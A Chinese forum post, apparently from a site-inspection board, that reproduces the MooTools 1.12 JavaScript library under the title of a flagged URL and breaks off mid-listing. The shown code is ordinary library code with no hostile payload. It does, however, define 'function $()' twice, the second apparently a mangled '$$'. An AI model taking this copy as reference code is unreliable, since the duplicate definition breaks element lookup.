查看: 849|回复: 0
收起左侧

[已鉴定] http://www.woic.biz/

[复制链接]
fireold
发表于 2013-7-4 07:06:21 | 显示全部楼层 |阅读模式
  1. //MooTools, My Object Oriented Javascript Tools. Copyright (c) 2006 Valerio Proietti, <http://mad4milk.net>, MIT Style License.
  2. var MooTools = {
  3.     version: '1.12'
  4. };

  5. function $defined(obj) {
  6.     return (obj != undefined);
  7. };

  8. function $type(obj) {
  9.     if (!$defined(obj)) return false;
  10.     if (obj.htmlElement) return 'element';
  11.     var type = typeof obj;
  12.     if (type == 'object' && obj.nodeName) {
  13.         switch (obj.nodeType) {
  14.         case 1:
  15.             return 'element';
  16.         case 3:
  17.             return (/\S/).test(obj.nodeValue) ? 'textnode' : 'whitespace';
  18.         }
  19.     }
  20.     if (type == 'object' || type == 'function') {
  21.         switch (obj.constructor) {
  22.         case Array:
  23.             return 'array';
  24.         case RegExp:
  25.             return 'regexp';
  26.         case Class:
  27.             return 'class';
  28.         }
  29.         if (typeof obj.length == 'number') {
  30.             if (obj.item) return 'collection';
  31.             if (obj.callee) return 'arguments';
  32.         }
  33.     }
  34.     return type;
  35. };

  36. function $merge() {
  37.     var mix = {};
  38.     for (var i = 0; i < arguments.length; i++) {
  39.         for (var property in arguments[i]) {
  40.             var ap = arguments[i][property];
  41.             var mp = mix[property];
  42.             if (mp && $type(ap) == 'object' && $type(mp) == 'object') mix[property] = $merge(mp, ap);
  43.             else mix[property] = ap;
  44.         }
  45.     }
  46.     return mix;
  47. };
  48. var $extend = function() {
  49.         var args = arguments;
  50.         if (!args[1]) args = [this, args[0]];
  51.         for (var property in args[1]) args[0][property] = args[1][property];
  52.         return args[0];
  53.     };
  54. var $native = function() {
  55.         for (var i = 0, l = arguments.length; i < l; i++) {
  56.             arguments[i].extend = function(props) {
  57.                 for (var prop in props) {
  58.                     if (!this.prototype[prop]) this.prototype[prop] = props[prop];
  59.                     if (!this[prop]) this[prop] = $native.generic(prop);
  60.                 }
  61.             };
  62.         }
  63.     };
  64. $native.generic = function(prop) {
  65.     return function(bind) {
  66.         return this.prototype[prop].apply(bind, Array.prototype.slice.call(arguments, 1));
  67.     };
  68. };
  69. $native(Function, Array, String, Number);

  70. function $chk(obj) {
  71.     return !!(obj || obj === 0);
  72. };

  73. function $pick(obj, picked) {
  74.     return $defined(obj) ? obj : picked;
  75. };

  76. function $random(min, max) {
  77.     return Math.floor(Math.random() * (max - min + 1) + min);
  78. };

  79. function $time() {
  80.     return new Date().getTime();
  81. };

  82. function $clear(timer) {
  83.     clearTimeout(timer);
  84.     clearInterval(timer);
  85.     return null;
  86. };
  87. var Abstract = function(obj) {
  88.         obj = obj || {};
  89.         obj.extend = $extend;
  90.         return obj;
  91.     };
  92. var Window = new Abstract(window);
  93. var Document = new Abstract(document);
  94. document.head = document.getElementsByTagName('head')[0];
  95. window.xpath = !! (document.evaluate);
  96. if (window.ActiveXObject) window.ie = window[window.XMLHttpRequest ? 'ie7' : 'ie6'] = true;
  97. else if (document.childNodes && !document.all && !navigator.taintEnabled) window.webkit = window[window.xpath ? 'webkit420' : 'webkit419'] = true;
  98. else if (document.getBoxObjectFor != null || window.mozInnerScreenX != null) window.gecko = true;
  99. window.khtml = window.webkit;
  100. Object.extend = $extend;
  101. if (typeof HTMLElement == 'undefined') {
  102.     var HTMLElement = function() {};
  103.     if (window.webkit) document.createElement("iframe");
  104.     HTMLElement.prototype = (window.webkit) ? window["[[DOMElement.prototype]]"] : {};
  105. }
  106. HTMLElement.prototype.htmlElement = function() {};
  107. if (window.ie6) try {
  108.     document.execCommand("BackgroundImageCache", false, true);
  109. } catch (e) {};
  110. var Class = function(properties) {
  111.         var klass = function() {
  112.                 return (arguments[0] !== null && this.initialize && $type(this.initialize) == 'function') ? this.initialize.apply(this, arguments) : this;
  113.             };
  114.         $extend(klass, this);
  115.         klass.prototype = properties;
  116.         klass.constructor = Class;
  117.         return klass;
  118.     };
  119. Class.empty = function() {};
  120. Class.prototype = {
  121.     extend: function(properties) {
  122.         var proto = new this(null);
  123.         for (var property in properties) {
  124.             var pp = proto[property];
  125.             proto[property] = Class.Merge(pp, properties[property]);
  126.         }
  127.         return new Class(proto);
  128.     },
  129.     implement: function() {
  130.         for (var i = 0, l = arguments.length; i < l; i++) $extend(this.prototype, arguments[i]);
  131.     }
  132. };
  133. Class.Merge = function(previous, current) {
  134.     if (previous && previous != current) {
  135.         var type = $type(current);
  136.         if (type != $type(previous)) return current;
  137.         switch (type) {
  138.         case 'function':
  139.             var merged = function() {
  140.                     this.parent = arguments.callee.parent;
  141.                     return current.apply(this, arguments);
  142.                 };
  143.             merged.parent = previous;
  144.             return merged;
  145.         case 'object':
  146.             return $merge(previous, current);
  147.         }
  148.     }
  149.     return current;
  150. };
  151. var Chain = new Class({
  152.     chain: function(fn) {
  153.         this.chains = this.chains || [];
  154.         this.chains.push(fn);
  155.         return this;
  156.     },
  157.     callChain: function() {
  158.         if (this.chains && this.chains.length) this.chains.shift().delay(10, this);
  159.     },
  160.     clearChain: function() {
  161.         this.chains = [];
  162.     }
  163. });
  164. var Events = new Class({
  165.     addEvent: function(type, fn) {
  166.         if (fn != Class.empty) {
  167.             this.$events = this.$events || {};
  168.             this.$events[type] = this.$events[type] || [];
  169.             this.$events[type].include(fn);
  170.         }
  171.         return this;
  172.     },
  173.     fireEvent: function(type, args, delay) {
  174.         if (this.$events && this.$events[type]) {
  175.             this.$events[type].each(function(fn) {
  176.                 fn.create({
  177.                     'bind': this,
  178.                     'delay': delay,
  179.                     'arguments': args
  180.                 })();
  181.             }, this);
  182.         }
  183.         return this;
  184.     },
  185.     removeEvent: function(type, fn) {
  186.         if (this.$events && this.$events[type]) this.$events[type].remove(fn);
  187.         return this;
  188.     }
  189. });
  190. var Options = new Class({
  191.     setOptions: function() {
  192.         this.options = $merge.apply(null, [this.options].extend(arguments));
  193.         if (this.addEvent) {
  194.             for (var option in this.options) {
  195.                 if ($type(this.options[option] == 'function') && (/^on[A-Z]/).test(option)) this.addEvent(option, this.options[option]);
  196.             }
  197.         }
  198.         return this;
  199.     }
  200. });
  201. Array.extend({
  202.     forEach: function(fn, bind) {
  203.         for (var i = 0, j = this.length; i < j; i++) fn.call(bind, this[i], i, this);
  204.     },
  205.     filter: function(fn, bind) {
  206.         var results = [];
  207.         for (var i = 0, j = this.length; i < j; i++) {
  208.             if (fn.call(bind, this[i], i, this)) results.push(this[i]);
  209.         }
  210.         return results;
  211.     },
  212.     map: function(fn, bind) {
  213.         var results = [];
  214.         for (var i = 0, j = this.length; i < j; i++) results[i] = fn.call(bind, this[i], i, this);
  215.         return results;
  216.     },
  217.     every: function(fn, bind) {
  218.         for (var i = 0, j = this.length; i < j; i++) {
  219.             if (!fn.call(bind, this[i], i, this)) return false;
  220.         }
  221.         return true;
  222.     },
  223.     some: function(fn, bind) {
  224.         for (var i = 0, j = this.length; i < j; i++) {
  225.             if (fn.call(bind, this[i], i, this)) return true;
  226.         }
  227.         return false;
  228.     },
  229.     indexOf: function(item, from) {
  230.         var len = this.length;
  231.         for (var i = (from < 0) ? Math.max(0, len + from) : from || 0; i < len; i++) {
  232.             if (this[i] === item) return i;
  233.         }
  234.         return -1;
  235.     },
  236.     copy: function(start, length) {
  237.         start = start || 0;
  238.         if (start < 0) start = this.length + start;
  239.         length = length || (this.length - start);
  240.         var newArray = [];
  241.         for (var i = 0; i < length; i++) newArray[i] = this[start++];
  242.         return newArray;
  243.     },
  244.     remove: function(item) {
  245.         var i = 0;
  246.         var len = this.length;
  247.         while (i < len) {
  248.             if (this[i] === item) {
  249.                 this.splice(i, 1);
  250.                 len--;
  251.             } else {
  252.                 i++;
  253.             }
  254.         }
  255.         return this;
  256.     },
  257.     contains: function(item, from) {
  258.         return this.indexOf(item, from) != -1;
  259.     },
  260.     associate: function(keys) {
  261.         var obj = {},
  262.             length = Math.min(this.length, keys.length);
  263.         for (var i = 0; i < length; i++) obj[keys[i]] = this[i];
  264.         return obj;
  265.     },
  266.     extend: function(array) {
  267.         for (var i = 0, j = array.length; i < j; i++) this.push(array[i]);
  268.         return this;
  269.     },
  270.     merge: function(array) {
  271.         for (var i = 0, l = array.length; i < l; i++) this.include(array[i]);
  272.         return this;
  273.     },
  274.     include: function(item) {
  275.         if (!this.contains(item)) this.push(item);
  276.         return this;
  277.     },
  278.     getRandom: function() {
  279.         return this[$random(0, this.length - 1)] || null;
  280.     },
  281.     getLast: function() {
  282.         return this[this.length - 1] || null;
  283.     }
  284. });
  285. Array.prototype.each = Array.prototype.forEach;
  286. Array.each = Array.forEach;

  287. function $A(array) {
  288.     return Array.copy(array);
  289. };

  290. function $each(iterable, fn, bind) {
  291.     if (iterable && typeof iterable.length == 'number' && $type(iterable) != 'object') {
  292.         Array.forEach(iterable, fn, bind);
  293.     } else {
  294.         for (var name in iterable) fn.call(bind || iterable, iterable[name], name);
  295.     }
  296. };
  297. Array.prototype.test = Array.prototype.contains;
  298. String.extend({
  299.     test: function(regex, params) {
  300.         return (($type(regex) == 'string') ? new RegExp(regex, params) : regex).test(this);
  301.     },
  302.     toInt: function() {
  303.         return parseInt(this, 10);
  304.     },
  305.     toFloat: function() {
  306.         return parseFloat(this);
  307.     },
  308.     camelCase: function() {
  309.         return this.replace(/-\D/g, function(match) {
  310.             return match.charAt(1).toUpperCase();
  311.         });
  312.     },
  313.     hyphenate: function() {
  314.         return this.replace(/\w[A-Z]/g, function(match) {
  315.             return (match.charAt(0) + '-' + match.charAt(1).toLowerCase());
  316.         });
  317.     },
  318.     capitalize: function() {
  319.         return this.replace(/\b[a-z]/g, function(match) {
  320.             return match.toUpperCase();
  321.         });
  322.     },
  323.     trim: function() {
  324.         return this.replace(/^\s+|\s+$/g, '');
  325.     },
  326.     clean: function() {
  327.         return this.replace(/\s{2,}/g, ' ').trim();
  328.     },
  329.     rgbToHex: function(array) {
  330.         var rgb = this.match(/\d{1,3}/g);
  331.         return (rgb) ? rgb.rgbToHex(array) : false;
  332.     },
  333.     hexToRgb: function(array) {
  334.         var hex = this.match(/^#?(\w{1,2})(\w{1,2})(\w{1,2})$/);
  335.         return (hex) ? hex.slice(1).hexToRgb(array) : false;
  336.     },
  337.     contains: function(string, s) {
  338.         return (s) ? (s + this + s).indexOf(s + string + s) > -1 : this.indexOf(string) > -1;
  339.     },
  340.     escapeRegExp: function() {
  341.         return this.replace(/([.*+?^${}()|[\]\/\\])/g, '\\$1');
  342.     }
  343. });
  344. Array.extend({
  345.     rgbToHex: function(array) {
  346.         if (this.length < 3) return false;
  347.         if (this.length == 4 && this[3] == 0 && !array) return 'transparent';
  348.         var hex = [];
  349.         for (var i = 0; i < 3; i++) {
  350.             var bit = (this[i] - 0).toString(16);
  351.             hex.push((bit.length == 1) ? '0' + bit : bit);
  352.         }
  353.         return array ? hex : '#' + hex.join('');
  354.     },
  355.     hexToRgb: function(array) {
  356.         if (this.length != 3) return false;
  357.         var rgb = [];
  358.         for (var i = 0; i < 3; i++) {
  359.             rgb.push(parseInt((this[i].length == 1) ? this[i] + this[i] : this[i], 16));
  360.         }
  361.         return array ? rgb : 'rgb(' + rgb.join(',') + ')';
  362.     }
  363. });
  364. Function.extend({
  365.     create: function(options) {
  366.         var fn = this;
  367.         options = $merge({
  368.             'bind': fn,
  369.             'event': false,
  370.             'arguments': null,
  371.             'delay': false,
  372.             'periodical': false,
  373.             'attempt': false
  374.         }, options);
  375.         if ($chk(options.arguments) && $type(options.arguments) != 'array') options.arguments = [options.arguments];
  376.         return function(event) {
  377.             var args;
  378.             if (options.event) {
  379.                 event = event || window.event;
  380.                 args = [(options.event === true) ? event : new options.event(event)];
  381.                 if (options.arguments) args.extend(options.arguments);
  382.             } else args = options.arguments || arguments;
  383.             var returns = function() {
  384.                     return fn.apply($pick(options.bind, fn), args);
  385.                 };
  386.             if (options.delay) return setTimeout(returns, options.delay);
  387.             if (options.periodical) return setInterval(returns, options.periodical);
  388.             if (options.attempt) try {
  389.                 return returns();
  390.             } catch (err) {
  391.                 return false;
  392.             };
  393.             return returns();
  394.         };
  395.     },
  396.     pass: function(args, bind) {
  397.         return this.create({
  398.             'arguments': args,
  399.             'bind': bind
  400.         });
  401.     },
  402.     attempt: function(args, bind) {
  403.         return this.create({
  404.             'arguments': args,
  405.             'bind': bind,
  406.             'attempt': true
  407.         })();
  408.     },
  409.     bind: function(bind, args) {
  410.         return this.create({
  411.             'bind': bind,
  412.             'arguments': args
  413.         });
  414.     },
  415.     bindAsEventListener: function(bind, args) {
  416.         return this.create({
  417.             'bind': bind,
  418.             'event': true,
  419.             'arguments': args
  420.         });
  421.     },
  422.     delay: function(delay, bind, args) {
  423.         return this.create({
  424.             'delay': delay,
  425.             'bind': bind,
  426.             'arguments': args
  427.         })();
  428.     },
  429.     periodical: function(interval, bind, args) {
  430.         return this.create({
  431.             'periodical': interval,
  432.             'bind': bind,
  433.             'arguments': args
  434.         })();
  435.     }
  436. });
  437. Number.extend({
  438.     toInt: function() {
  439.         return parseInt(this);
  440.     },
  441.     toFloat: function() {
  442.         return parseFloat(this);
  443.     },
  444.     limit: function(min, max) {
  445.         return Math.min(max, Math.max(min, this));
  446.     },
  447.     round: function(precision) {
  448.         precision = Math.pow(10, precision || 0);
  449.         return Math.round(this * precision) / precision;
  450.     },
  451.     times: function(fn) {
  452.         for (var i = 0; i < this; i++) fn(i);
  453.     }
  454. });
  455. var Element = new Class({
  456.     initialize: function(el, props) {
  457.         if ($type(el) == 'string') {
  458.             if (window.ie && props && (props.name || props.type)) {
  459.                 var name = (props.name) ? ' name="' + props.name + '"' : '';
  460.                 var type = (props.type) ? ' type="' + props.type + '"' : '';
  461.                 delete props.name;
  462.                 delete props.type;
  463.                 el = '<' + el + name + type + '>';
  464.             }
  465.             el = document.createElement(el);
  466.         }
  467.         el = $(el);
  468.         return (!props || !el) ? el : el.set(props);
  469.     }
  470. });
  471. var Elements = new Class({
  472.     initialize: function(elements) {
  473.         return (elements) ? $extend(elements, this) : this;
  474.     }
  475. });
  476. Elements.extend = function(props) {
  477.     for (var prop in props) {
  478.         this.prototype[prop] = props[prop];
  479.         this[prop] = $native.generic(prop);
  480.     }
  481. };

  482. function $(el) {
  483.     if (!el) return null;
  484.     if (el.htmlElement) return Garbage.collect(el);
  485.     if ([window, document].contains(el)) return el;
  486.     var type = $type(el);
  487.     if (type == 'string') {
  488.         el = document.getElementById(el);
  489.         type = (el) ? 'element' : false;
  490.     }
  491.     if (type != 'element') return null;
  492.     if (el.htmlElement) return Garbage.collect(el);
  493.     if (['object', 'embed'].contains(el.tagName.toLowerCase())) return el;
  494.     $extend(el, Element.prototype);
  495.     el.htmlElement = function() {};
  496.     return Garbage.collect(el);
  497. };
  498. document.getElementsBySelector = document.getElementsByTagName;

  499. function $() {
  500.     var elements = [];
  501.     for (var i = 0, j = arguments.length; i < j; i++) {
  502.         var selector = arguments[i];
  503.         switch ($type(selector)) {
  504.         case 'element':
  505.             elements.push(selector);
  506.         case 'boolean':
  507.             break;
  508.         case false:
  509.             break;
  510.         case 'string':
  511.             selector = document.getElementsBySelector(selector, true);
  512.         default:
  513.             elements.extend(selector);
  514.         }
  515.     }
  516.     return $.unique(elements);
  517. };
  518. $.unique = function(array) {
  519.     var elements = [];
  520.     for (var i = 0, l = array.length; i < l; i++) {
  521.         if (array[i].$included) continue;
  522.         var element = $(array[i]);
  523.         if (element && !element.$included) {
  524.             element.$included = true;
  525.             elements.push(element);
  526.         }
  527.     }
  528.     for (var n = 0, d = elements.length; n < d; n++) elements[n].$included = null;
  529.     return new Elements(elements);
  530. };
  531. Elements.Multi = function(property) {
  532.     return function() {
  533.         var args = arguments;
  534.         var items = [];
  535.         var elements = true;
  536.         for (var i = 0, j = this.length, returns; i < j; i++) {
  537.             returns = this[i][property].apply(this[i], args);
  538.             if ($type(returns) != 'element') elements = false;
  539.             items.push(returns);
  540.         };
  541.         return (elements) ? $.unique(items) : items;
  542.     };
  543. };
  544. Element.extend = function(properties) {
  545.     for (var property in properties) {
  546.         HTMLElement.prototype[property] = properties[property];
  547.         Element.prototype[property] = properties[property];
  548.         Element[property] = $native.generic(property);
  549.         var elementsProperty = (Array.prototype[property]) ? property + 'Elements' : property;
  550.         Elements.prototype[elementsProperty] = Elements.Multi(property);
  551.     }
  552. };
  553. Element.extend({
  554.     set: function(props) {
  555.         for (var prop in props) {
  556.             var val = props[prop];
  557.             switch (prop) {
  558.             case 'styles':
  559.                 this.setStyles(val);
  560.                 break;
  561.             case 'events':
  562.                 if (this.addEvents) this.addEvents(val);
  563.                 break;
  564.             case 'properties':
  565.                 this.setProperties(val);
  566.                 break;
  567.             default:
  568.                 this.setProperty(prop, val);
  569.             }
  570.         }
  571.         return this;
  572.     },
  573.     inject: function(el, where) {
  574.         el = $(el);
  575.         switch (where) {
  576.         case 'before':
  577.             el.parentNode.insertBefore(this, el);
  578.             break;
  579.         case 'after':
  580.             var next = el.getNext();
  581.             if (!next) el.parentNode.appendChild(this);
  582.             else el.parentNode.insertBefore(this, next);
  583.             break;
  584.         case 'top':
  585.             var first = el.firstChild;
  586.             if (first) {
  587.                 el.insertBefore(this, first);
  588.                 break;
  589.             }
  590.         default:
  591.             el.appendChild(this);
  592.         }
  593.         return this;
  594.     },
  595.     injectBefore: function(el) {
  596.         return this.inject(el, 'before');
  597.     },
  598.     injectAfter: function(el) {
  599.         return this.inject(el, 'after');
  600.     },
  601.     injectInside: function(el) {
  602.         return this.inject(el, 'bottom');
  603.     },
  604.     injectTop: function(el) {
  605.         return this.inject(el, 'top');
  606.     },
  607.     adopt: function() {
  608.         var elements = [];
  609.         $each(arguments, function(argument) {
  610.             elements = elements.concat(argument);
  611.         });
  612.         $(elements).inject(this);
  613.         return this;
  614.     },
  615.     remove: function() {
  616.         return this.parentNode.removeChild(this);
  617.     },
  618.     clone: function(contents) {
  619.         var el = $(this.cloneNode(contents !== false));
  620.         if (!el.$events) return el;
  621.         el.$events = {};
  622.         for (var type in this.$events) el.$events[type] = {
  623.             'keys': $A(this.$events[type].keys),
  624.             'values': $A(this.$events[type].values)
  625.         };
  626.         return el.removeEvents();
  627.     },
  628.     replaceWith: function(el) {
  629.         el = $(el);
  630.         this.parentNode.replaceChild(el, this);
  631.         return el;
  632.     },
  633.     appendText: function(text) {
  634.         this.appendChild(document.createTextNode(text));
  635.         return this;
  636.     },
  637.     hasClass: function(className) {
  638.         return this.className.contains(className, ' ');
  639.     },
  640.     addClass: function(className) {
  641.         if (!this.hasClass(className)) this.className = (this.className + ' ' + className).clean();
  642.         return this;
  643.     },
  644.     removeClass: function(className) {
  645.         this.className = this.className.replace(new RegExp('(^|\\s)' + className + '(?:\\s|$)'), '$1').clean();
  646.         return this;
  647.     },
  648.     toggleClass: function(className) {
  649.         return this.hasClass(className) ? this.removeClass(className) : this.addClass(className);
  650.     },
  651.     setStyle: function(property, value) {
  652.         switch (property) {
  653.         case 'opacity':
  654.             return this.setOpacity(parseFloat(value));
  655.         case 'float':
  656.             property = (window.ie) ? 'styleFloat' : 'cssFloat';
  657.         }
  658.         property = property.camelCase();
  659.         switch ($type(value)) {
  660.         case 'number':
  661.             if (!['zIndex', 'zoom'].contains(property)) value += 'px';
  662.             break;
  663.         case 'array':
  664.             value = 'rgb(' + value.join(',') + ')';
  665.         }
  666.         this.style[property] = value;
  667.         return this;
  668.     },
  669.     setStyles: function(source) {
  670.         switch ($type(source)) {
  671.         case 'object':
  672.             Element.setMany(this, 'setStyle', source);
  673.             break;
  674.         case 'string':
  675.             this.style.cssText = source;
  676.         }
  677.         return this;
  678.     },
  679.     setOpacity: function(opacity) {
  680.         if (opacity == 0) {
  681.             if (this.style.visibility != "hidden") this.style.visibility = "hidden";
  682.         } else {
  683.             if (this.style.visibility != "visible") this.style.visibility = "visible";
  684.         }
  685.         if (!this.currentStyle || !this.currentStyle.hasLayout) this.style.zoom = 1;
  686.         if (window.ie) this.style.filter = (opacity == 1) ? '' : "alpha(opacity=" + opacity * 100 + ")";
  687.         this.style.opacity = this.$tmp.opacity = opacity;
  688.         return this;
  689.     },
  690.     getStyle: function(property) {
  691.         property = property.camelCase();
  692.         var result = this.style[property];
  693.         if (!$chk(result)) {
  694.             if (property == 'opacity') return this.$tmp.opacity;
  695.             result = [];
  696.             for (var style in Element.Styles) {
  697.                 if (property == style) {
  698.                     Element.Styles[style].each(function(s) {
  699.                         var style = this.getStyle(s);
  700.                         result.push(parseInt(style) ? style : '0px');
  701.                     }, this);
  702.                     if (property == 'border') {
  703.                         var every = result.every(function(bit) {
  704.                             return (bit == result[0]);
  705.                         });
  706.                         return (every) ? result[0] : false;
  707.                     }
  708.                     return result.join(' ');
  709.                 }
  710.             }
  711.             if (property.contains('border')) {
  712.                 if (Element.Styles.border.contains(property)) {
  713.                     return ['Width', 'Style', 'Color'].map(function(p) {
  714.                         return this.getStyle(property + p);
  715.                     }, this).join(' ');
  716.                 } else if (Element.borderShort.contains(property)) {
  717.                     return ['Top', 'Right', 'Bottom', 'Left'].map(function(p) {
  718.                         return this.getStyle('border' + p + property.replace('border', ''));
  719.                     }, this).join(' ');
  720.                 }
  721.             }
  722.             if (document.defaultView) result = document.defaultView.getComputedStyle(this, null).getPropertyValue(property.hyphenate());
  723.             else if (this.currentStyle) result = this.currentStyle[property];
  724.         }
  725.         if (window.ie) result = Element.fixStyle(property, result, this);
  726.         if (result && property.test(/color/i) && result.contains('rgb')) {
  727.             return result.split('rgb').splice(1, 4).map(function(color) {
  728.                 return color.rgbToHex();
  729.             }).join(' ');
  730.         }
  731.         return result;
  732.     },
  733.     getStyles: function() {
  734.         return Element.getMany(this, 'getStyle', arguments);
  735.     },
  736.     walk: function(brother, start) {
  737.         brother += 'Sibling';
  738.         var el = (start) ? this[start] : this[brother];
  739.         while (el && $type(el) != 'element') el = el[brother];
  740.         return $(el);
  741.     },
  742.     getPrevious: function() {
  743.         return this.walk('previous');
  744.     },
  745.     getNext: function() {
  746.         return this.walk('next');
  747.     },
  748.     getFirst: function() {
  749.         return this.walk('next', 'firstChild');
  750.     },
  751.     getLast: function() {
  752.         return this.walk('previous', 'lastChild');
  753.     },
  754.     getParent: function() {
  755.         return $(this.parentNode);
  756.     },
  757.     getChildren: function() {
  758.         return $(this.childNodes);
  759.     },
  760.     hasChild: function(el) {
  761.         return !!$A(this.getElementsByTagName('*')).contains(el);
  762.     },
  763.     getProperty: function(property) {
  764.         var index = Element.Properties[property];
  765.         if (index) return this[index];
  766.         var flag = Element.PropertiesIFlag[property] || 0;
  767.         if (!window.ie || flag) return this.getAttribute(property, flag);
  768.         var node = this.attributes[property];
  769.         return (node) ? node.nodeValue : null;
  770.     },
  771.     removeProperty: function(property) {
  772.         var index = Element.Properties[property];
  773.         if (index) this[index] = '';
  774.         else this.removeAttribute(property);
  775.         return this;
  776.     },
  777.     getProperties: function() {
  778.         return Element.getMany(this, 'getProperty', arguments);
  779.     },
  780.     setProperty: function(property, value) {
  781.         var index = Element.Properties[property];
  782.         if (index) this[index] = value;
  783.         else this.setAttribute(property, value);
  784.         return this;
  785.     },
  786.     setProperties: function(source) {
  787.         return Element.setMany(this, 'setProperty', source);
  788.     },
  789.     setHTML: function() {
  790.         this.innerHTML = $A(arguments).join('');
  791.         return this;
  792.     },
  793.     setText: function(text) {
  794.         var tag = this.getTag();
  795.         if (['style', 'script'].contains(tag)) {
  796.             if (window.ie) {
  797.                 if (tag == 'style') this.styleSheet.cssText = text;
  798.                 else if (tag == 'script') this.setProperty('text', text);
  799.                 return this;
  800.             } else {
  801.                 this.removeChild(this.firstChild);
  802.                 return this.appendText(text);
  803.             }
  804.         }
  805.         this[$defined(this.innerText) ? 'innerText' : 'textContent'] = text;
  806.         return this;
  807.     },
  808.     getText: function() {
  809.         var tag = this.getTag();
  810.         if (['style', 'script'].contains(tag)) {
  811.             if (window.ie) {
  812.                 if (tag == 'style') return this.styleSheet.cssText;
  813.                 else if (tag == 'script') return this.getProperty('text');
  814.             } else {
  815.                 return this.innerHTML;
  816.             }
  817.         }
  818.         return ($pick(this.innerText, this.textContent));
  819.     },
  820.     getTag: function() {
  821.         return this.tagName.toLowerCase();
  822.     },
  823.     empty: function() {
  824.         Garbage.trash(this.getElementsByTagName('*'));
  825.         return this.setHTML('');
  826.     }
  827. });
  828. Element.fixStyle = function(property, result, element) {
  829.     if ($chk(parseInt(result))) return result;
  830.     if (['height', 'width'].contains(property)) {
  831.         var values = (property == 'width') ? ['left', 'right'] : ['top', 'bottom'];
  832.         var size = 0;
  833.         values.each(function(value) {
  834.             size += element.getStyle('border-' + value + '-width').toInt() + element.getStyle('padding-' + value).toInt();
  835.         });
  836.         return element['offset' + property.capitalize()] - size + 'px';
  837.     } else if (property.test(/border(.+)Width|margin|padding/)) {
  838.         return '0px';
  839.     }
  840.     return result;
  841. };
  842. Element.Styles = {
  843.     'border': [],
  844.     'padding': [],
  845.     'margin': []
  846. };
  847. ['Top', 'Right', 'Bottom', 'Left'].each(function(direction) {
  848.     for (var style in Element.Styles) Element.Styles[style].push(style + direction);
  849. });
  850. Element.borderShort = ['borderWidth', 'borderStyle', 'borderColor'];
  851. Element.getMany = function(el, method, keys) {
  852.     var result = {};
  853.     $each(keys, function(key) {
  854.         result[key] = el[method](key);
  855.     });
  856.     return result;
  857. };
  858. Element.setMany = function(el, method, pairs) {
  859.     for (var key in pairs) el[method](key, pairs[key]);
  860.     return el;
  861. };
  862. Element.Properties = new Abstract({
  863.     'class': 'className',
  864.     'for': 'htmlFor',
  865.     'colspan': 'colSpan',
  866.     'rowspan': 'rowSpan',
  867.     'accesskey': 'accessKey',
  868.     'tabindex': 'tabIndex',
  869.     'maxlength': 'maxLength',
  870.     'readonly': 'readOnly',
  871.     'frameborder': 'frameBorder',
  872.     'value': 'value',
  873.     'disabled': 'disabled',
  874.     'checked': 'checked',
  875.     'multiple': 'multiple',
  876.     'selected': 'selected'
  877. });
  878. Element.PropertiesIFlag = {
  879.     'href': 2,
  880.     'src': 2
  881. };
  882. Element.Methods = {
  883.     Listeners: {
  884.         addListener: function(type, fn) {
  885.             if (this.addEventListener) this.addEventListener(type, fn, false);
  886.             else this.attachEvent('on' + type, fn);
  887.             return this;
  888.         },
  889.         removeListener: function(type, fn) {
  890.             if (this.removeEventListener) this.removeEventListener(type, fn, false);
  891.             else this.detachEvent('on' + type, fn);
  892.             return this;
  893.         }
  894.     }
  895. };
  896. window.extend(Element.Methods.Listeners);
  897. document.extend(Element.Methods.Listeners);
  898. Element.extend(Element.Methods.Listeners);
  899. var Garbage = {
  900.     elements: [],
  901.     collect: function(el) {
  902.         if (!el.$tmp) {
  903.             Garbage.elements.push(el);
  904.             el.$tmp = {
  905.                 'opacity': 1
  906.             };
  907.         }
  908.         return el;
  909.     },
  910.     trash: function(elements) {
  911.         for (var i = 0, j = elements.length, el; i < j; i++) {
  912.             if (!(el = elements[i]) || !el.$tmp) continue;
  913.             if (el.$events) el.fireEvent('trash').removeEvents();
  914.             for (var p in el.$tmp) el.$tmp[p] = null;
  915.             for (var d in Element.prototype) el[d] = null;
  916.             Garbage.elements[Garbage.elements.indexOf(el)] = null;
  917.             el.htmlElement = el.$tmp = el = null;
  918.         }
  919.         Garbage.elements.remove(null);
  920.     },
  921.     empty: function() {
  922.         Garbage.collect(window);
  923.         Garbage.collect(document);
  924.         Garbage.trash(Garbage.elements);
  925.     }
  926. };
  927. window.addListener('beforeunload', function() {
  928.     window.addListener('unload', Garbage.empty);
  929.     if (window.ie) window.addListener('unload', CollectGarbage);
  930. });
  931. var Event = new Class({
  932.     initialize: function(event) {
  933.         if (event && event.$extended) return event;
  934.         this.$extended = true;
  935.         event = event || window.event;
  936.         this.event = event;
  937.         this.type = event.type;
  938.         this.target = event.target || event.srcElement;
  939.         if (this.target.nodeType == 3) this.target = this.target.parentNode;
  940.         this.shift = event.shiftKey;
  941.         this.control = event.ctrlKey;
  942.         this.alt = event.altKey;
  943.         this.meta = event.metaKey;
  944.         if (['DOMMouseScroll', 'mousewheel'].contains(this.type)) {
  945.             this.wheel = (event.wheelDelta) ? event.wheelDelta / 120 : -(event.detail || 0) / 3;
  946.         } else if (this.type.contains('key')) {
  947.             this.code = event.which || event.keyCode;
  948.             for (var name in Event.keys) {
  949.                 if (Event.keys[name] == this.code) {
  950.                     this.key = name;
  951.                     break;
  952.                 }
  953.             }
  954.             if (this.type == 'keydown') {
  955.                 var fKey = this.code - 111;
  956.                 if (fKey > 0 && fKey < 13) this.key = 'f' + fKey;
  957.             }
  958.             this.key = this.key || String.fromCharCode(this.code).toLowerCase();
  959.         } else if (this.type.test(/(click|mouse|menu)/)) {
  960.             this.page = {
  961.                 'x': event.pageX || event.clientX + document.documentElement.scrollLeft,
  962.                 'y': event.pageY || event.clientY + document.documentElement.scrollTop
  963.             };
  964.             this.client = {
  965.                 'x': event.pageX ? event.pageX - window.pageXOffset : event.clientX,
  966.                 'y': event.pageY ? event.pageY - window.pageYOffset : event.clientY
  967.             };
  968.             this.rightClick = (event.which == 3) || (event.button == 2);
  969.             switch (this.type) {
  970.             case 'mouseover':
  971.                 this.relatedTarget = event.relatedTarget || event.fromElement;
  972.                 break;
  973.             case 'mouseout':
  974.                 this.relatedTarget = event.relatedTarget || event.toElement;
  975.             }
  976.             this.fixRelatedTarget();
  977.         }
  978.         return this;
  979.     },
  980.     stop: function() {
  981.         return this.stopPropagation().preventDefault();
  982.     },
  983.     stopPropagation: function() {
  984.         if (this.event.stopPropagation) this.event.stopPropagation();
  985.         else this.event.cancelBubble = true;
  986.         return this;
  987.     },
  988.     preventDefault: function() {
  989.         if (this.event.preventDefault) this.event.preventDefault();
  990.         else this.event.returnValue = false;
  991.         return this;
  992.     }
  993. });
  994. Event.fix = {
